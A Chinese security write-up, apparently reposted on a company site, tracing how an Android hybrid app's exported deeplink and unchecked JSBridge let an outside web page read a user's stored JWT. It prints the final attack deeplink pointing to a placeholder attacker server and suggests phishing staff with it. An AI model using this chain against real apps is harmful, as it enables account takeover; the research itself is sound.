拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

App 漏洞挖掘实战、外部恶意网页可直接调用原生接口窃取用户认证 Token 造成账号接管漏洞

App 漏洞挖掘实战、外部恶意网页可直接调用原生接口窃取用户认证 Token 造成账号接管漏洞

0x01 简介

混合 App 暗藏高危长链漏洞!在授权安全测试中,通过反编译审计发现目标 App 导出代理 Activity 存在 Deeplink 参数校验缺陷,可绕过路由拦截加载外部恶意 H5 页面。其 JSBridge 敏感能力全局注册,完全不校验网页来源,恶意页面能够直接调用原生接口读取本地持久 JWT 凭证。如今主流类App几乎无一例外采用原生+H5的混合开发架构,原生壳负责性能与推送,业务页面大量使用WebView技术来显示与承载。攻击者拿到 Token 即可冒充受害者执行业务操作,完成会话级账号接管。

本文内容仅用于网络安全技术学习与交流,所有操作均在授权测试环境下完成。严禁将文中技术用于未授权检测与非法攻击,违者责任自负。

现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料/加圈子 #渗透安全HackTwo

0x02 正文详情

如今就算代码功底一般,也可以借助 JADX 搭配 MCP 插件辅助完成代码审计分析。目标为混合架构 Android App。该应用存在 Deeplink 路由与 WebView JSBridge 组合漏洞,导出的代理 Activity 无严格参数校验,可加载外部恶意 H5 页面。

jadx-mcp-server

链接:https://pan.quark.cn/s/1afc9de1149e

App安装与查壳

首先下载app,注册账号登录并访问。

登录app后可查看该app私有数据目录,可以发现FlutterSharedPreferences.xml文件存储用户的凭证信息,还有手机号,账号个人数据信息等,这里数据太多,只放了JWTtoken的截图信息。

既然存在token信息,这里其实可以去第一步想到的就是去分析下apk文件,看看有没有文件备份类漏洞,或者开启了debug调试类漏洞等等。

提取 APK命令如下:

adb shell pm path com.cdxxxxx.chxxxx

adb pull <pm path输出的apk路径> ./base.apk

首先apk查壳,可以发现没有进行加固处理

AndroidManifest分析

使用jadx反编译apk,注意这里如果遇到关键反编译代码文件无法反编译成功因为jadx-GUI默认开启的是“严格模式”,遇到反编译失败可以菜单 File → Preferences->Decompilation(反编译)选项卡->勾选Show inconsistent code点击save即可

第一步查看AndroidManifest.xml文件,通过查壳发现

android:allowBackup="false",说明该apk不允许导出,但是很多组件是设置的允许导出,但是组件不是这篇文章的重点,而且该组件导出的页面也不是修改密码,修改个人信息等敏感页面,所以相对危害性较低。

再查询debuggable是否存在,如果不存在说明默认关闭调试功能,与allowBackup字段刚好相反,如果AndroidManifest.xml文件中没有声明allowBackup则说明允许导出备份文件。

不过在这其中发现明文传输配置启用

<applicationandroid:usesCleartextTraffic="true" ...>

同时导出组件里有一组scheme入口,其中最引人注意的是如下配置:

<activity android:name="com.xxxx.android.lib_architecture.splash.ProxyActivity" android:exported="true"> <data android:scheme="sjqxxx" android:host="hmas.app"/> </activity>

一个exported的代理Activity+自定义scheme,这通常就是外部网页/短信/二维码可触发的路由入口

WebView与JSBridge静态分析

首先通过上述AndroidManifest文件分析,可以发现存在scheme的组件包是com.xxxx.android,在这包中我们发现WebActivity容器,这个com.xxxx.android.comp_webview.WebActivity是一个H5容器

@Route(path = "/web/Default") ...... public final class WebActivity extends BaseMvvmActivity { ...... @Autowired public String url; // ARouter 注入,来源完全由调用方决定

其中存在C0函数,这段函数用于过滤URL中APP自定义的内部交互参数,避免这些内部参数被带到外部链接、或泄露到第三方服务器,保证外部链接加载的纯净性。

第901行,Operators.CONDITION_IF为自定义常量“?”,以?拆分传入的路径

List listV0 = t.v0(oriUrl, new char[]{Operators.CONDITION_IF}, false, 2, 2, null); if (listV0.size() == 1) { return oriUrl; }

然后遍历所有查询参数,过滤内部参数

ArrayList arrayList = new ArrayList(); for (String str : t.v0((CharSequence) listV0.get(1), new char[]{'&'}, false, 0, 6, null)) { // 每个参数按=分割,取出参数名(key) String str2 = (String) t.v0(str, new char[]{IOUtils.pad}, false, 2, 2, null).get(0); // 判断参数名是否是预定义的内部参数 switch (str2.hashCode()) { case -2094054512: if (str2.equals("hgWebShareBrief")) { z10 = false; break; } else { z10 = true; break; } // 其他case逻辑一致... } // 非内部参数加入保留列表 if (z10) { // 打印被过滤掉的内部参数(调试用) fc.a.f15118a.c("WebActivity", str); arrayList.add(str); } }

最后拼接处理好的参数

// 把保留的参数用&拼接成新的查询字符串 String strX = z.X(arrayList, ContainerUtils.FIELD_DELIMITER, null, null, 0, null, null, 62, null); if (!(strX.length() > 0)) { strX = null; } // 把URL路径和新的查询参数拼接,返回最终结果 String str3 = strX != null ? ((String) listV0.get(0)) + Operators.CONDITION_IF + strX : null; return str3 == null ? (String) listV0.get(0) : str3;

C0这段函数是没有任何域名校验的,直接return

综上初步简单分析,/web/Default路由可以加载任意外部 URL地址的。

再看它的WebActivity类中的shouldOverrideUrlLoading公共方法

主要看532行代码、539行代码,检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理。

如果不是HTTP_PROTOCOL、HTTP_PROTOCOL协议就一律全部拦截,反之则走到return Boolean.valueOf(z10);直接放行。其中HTTP_PROTOCOL、HTTP_PROTOCOL都是自定以的常量,分别为http://、https://

if (s.G(str, "yy://", false, 2, null)) { return super.shouldOverrideUrlLoading(view, p12); ...... if (!s.G(str, DeviceInfo.HTTP_PROTOCOL, false, 2, null) && !s.G(str, DeviceInfo.HTTPS_PROTOCOL, false, 2, null)) { z10 = true; } return Boolean.valueOf(z10); }

WebView的实现类是com.android.xxxx.webview_java.jsbridge.BridgeWebView,该类中做了一定的安全检测,其中318行代码关闭了密码自动保存,防止WebView存储的网站密码被恶意读取,并且关闭了file域的跨域读

真正的问题在注入时机,BridgeWebView.this.f6265b为WebViewJavascriptBridge.js文件,该文件存储在assest目录下​​​​​​​

public void onPageFinished(WebView webView, String str) throws Throwable { super.onPageFinished(webView, str); BridgeWebView bridgeWebView = BridgeWebView.this; if (bridgeWebView.f6265b != null) { i5.b.e(bridgeWebView.f6273j, webView, BridgeWebView.this.f6265b); }

其中377行代码i5.b.e()函数把WebViewJavascriptBridge.js文件全部进行加载

JSBridge 通信协议拆解

assets里的WebViewJavascriptBridge.js是URL Scheme桥,分析一下具体运行逻辑

JS 想调原生能力时,构造一个message对象;如果还需要回包(responseCallback),就生成一个唯一callbackId并登记到responseCallbacks字典里——相当于"留个回执地址"message 推进sendMessageQueue队列,然后设置一个隐藏iframe的src= 'yy://QUEUE_MESSAGE'设置iframe的URL会触发 WebView 的shouldOverrideUrlLoading(shouldOverrideUrlLoading方法前面有讲,当检测用户提交的协议,如果是yy://桥协议,那么就交给父类处理)回调,Native 端拦截到yy://开头的scheme,就知道"队列里有消息了"​​​​​​​

function _doSend(message, responseCallback) { if (responseCallback) { var callbackId = 'cb_' + (uniqueId++) + '_' + new Date().getTime(); responseCallbacks[callbackId] = responseCallback; message.callbackId = callbackId; } sendMessageQueue.push(message); messagingIframe.src = 'yy://__QUEUE_MESSAGE__'; }

Native截获yy://QUEUE_MESSAGE后,调用p(),通过 loadUrl("javascript:..._fetchQueue()") 让JS把队列内容吐出来

q()截获yy://return/_fetchQueue/... 后,从URL里取出key"_fetchQueue",先去Map里查有没有对应登记的回调,有继续取 JSON、调bVar.a()分发——查handler注册表、执行原生逻辑、回包给JS。​​​​​​​

public final void q(String str) { String strC = i5.b.c(str); // 取 "_fetchQueue" g5.b bVar = this.f6266c.get(strC); // 必须先有 p() 登记的回调才能继续 String strB = i5.b.b(str); // 取队列 JSON if (bVar != null) { bVar.a(strB); // 进入 dispatch:查 handler 注册表、执行、回包 this.f6266c.remove(strC); } }

整段代码分析重点为App启动时HogeWebViewInitializer.create()函数把40多个敏感handler(getUserInfo、getRequestHeader、......)一次性塞进全局 Map(h5.c.b().a()函数里面)

而WebView收到消息后分发时按message里的handlerName去全局Map查 → 查到就执行 → 完全不关心当前WebView里加载的是哪个网页、哪个域名。如下图,183-184行:

顺着前面HogeWebViewInitializer.create()函数中的敏感handler

顺着getUserInfo找到公共方法类wb.a0,调用t0函数获取FlutterSharedPreferences.xml文件信息,然后取出文件中取出Member-User-Authorization、userTokenKey认证信息

上图中2848行调用的gd.a.f15853a正式如下图的,其中FlutterSharedPreferences正是开头的FlutterSharedPreferences.xml文件

    return BaseApplication.INSTANCE.a().getSharedPreferences("FlutterSharedPreferences", 0);

    通过上述分析,静态链闭环:任意页面 → callHandler('getUserInfo') → 全局注册表 → s0() → Token进响应回调。

    Deeplink 路由链分析

    com.hoge.android.lib_architecture.splash.ProxyActivity是exported的scheme入口,其参数处理逻辑

    攻击者构造链接sjqxx://hmas.app/xxx?link=,截取link=后面传入的URL,URL参数没有任何格式校验,URLDecoder后原样进入路由系统。​​​​​​​

    public final void s0(Intent intent) throws UnsupportedEncodingException { if (intent == null) { return; } String dataString = intent.getDataString(); fc.a.f15118a.f(this.TAG, l.m("jerry scheme data : ", dataString)); if (dataString != null) { List listW0 = t.w0(dataString, new String[]{"link="}, false, 0, 6, null); if (listW0.size() > 1) { this.schemeUrl = (String) listW0.get(1); } }

    路由会经过拦截器链,这里踩了本次分析的第一个坑。最初我构造的link值是内部路由格式hmas://web/Default?url=...,deeplink 发出后ProxyActivity确实拉起了但WebActivity始终没动静。追进拦截器才发现原因——nb.a(DefaultRouteInterceptor)开头就是hmas://外部直达被拒

    当不是hmas://时,使用http/https 时是另一个拦截器nb.g进行处理,以http://或 https://开头的URL直接走分支流程进行跳转,没有任何白名单黑名单限制,d()只处理带专用链接,普通URL直接false,也就是说,把link的值直接写成http/https明文URL,就能一路穿过 ProxyActivity → 拦截器 →/web/Default→ WebActivity。

    最终 deeplink 形态sjqx x://hmas.app/message?link=http%3A%2F%2F<攻击服务器>%2Fpoc.html

    一些代码踩坑绕过

    桥明明在,回调却永远不来

    WebActivity成功加载了攻击页,页面日志打出bridge already there——桥对象存在,callAll()已执行,无任何JS异常。但收集服务器上只有页面请求,没有任何/collect回传

    不调用init(),回包被永久吞掉

    重读桥JS,发现_handleMessageFromNative的receiveMessageQueue初始为 [],恒为真,只有_dispatchMessageFromNative这里才会触发回调

    漏洞复现

    根据上述,分析撰写一个html恶意获取token脚本,运行在云服务器上。

    这里如果是为了本地确认漏洞可以直接使用adb调用链接,如果真实攻击可以直接发链接以app发给用户或者是生成链接,用户使用app二维码扫码。

    而且聊天框还存在html渲染,xss倒是有一定过滤,但是链接是能够渲染的,可直接发送恶意链接获取客服的token信息。

    如下图,这里使用个人测试账号进行测试,直接加载服务器上运行的脚本,回显token信息

    log日志文件也成功接收到用户的token信息

    0x03 总结

    这次挖洞算是踩坑踩出经验了,本以为找到入口就能一气呵成复现,结果卡在 JSBridge 回调问题折腾许久。别看这条利用链看着复杂,代码基础一般的师傅借助 JADX+MCP 插件,也能顺藤摸瓜完成审计。简单来说就是 Deeplink 开门,恶意 H5 搭桥,JSBridge 没做来源校验,直接交出用户登录凭证。拿到 Token 就能接管会话,混合 App 的 H5 与原生通信这块,稍不留神就容易埋下这种高危大坑!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!

    返回列表